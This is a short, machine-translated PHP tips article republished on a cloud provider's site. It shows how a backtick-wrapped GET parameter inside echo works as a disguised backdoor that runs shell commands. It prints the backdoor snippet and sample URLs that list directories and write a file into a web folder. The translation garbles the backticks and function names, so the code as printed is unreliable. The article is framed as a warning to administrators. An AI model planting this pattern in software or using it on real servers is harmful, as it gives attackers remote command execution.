An easy to find PHP backdoor code parsing _php tips

Source: Internet
Author: User

Occasionally see a paragraph, it seems that there is no problem, it is a fatal backdoor code, here used a general phper not pay attention to the reverse apostrophe ', the reverse apostrophe contains strings, equivalent to the Shell_exec function.

Camouflage is very good, easy to be ignored by the administrator.

$selfNums = $_get[' R '];
if (Isset ($selfNums)) {
  echo ' $selfNums ';
}

Just see this code I think everyone will say no problem, but careful friends will find that the following variables are wrapped in a symbol, since it is a variable why this,

And it's not a single quote, this is the key, the symbol is a key below ESC (in exclamation point!). Next to the),

Through echo ' System command '; Can reach system (); The same effect

If you don't believe a friend can test

Http://127.0.0.1/t.php?r=dir can list directories

Http://127.0.0.1/t.php?r=echo, I'm Ma >>d:\web\90sec.php.

I used Appserv and the virtual host has been tested successfully.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.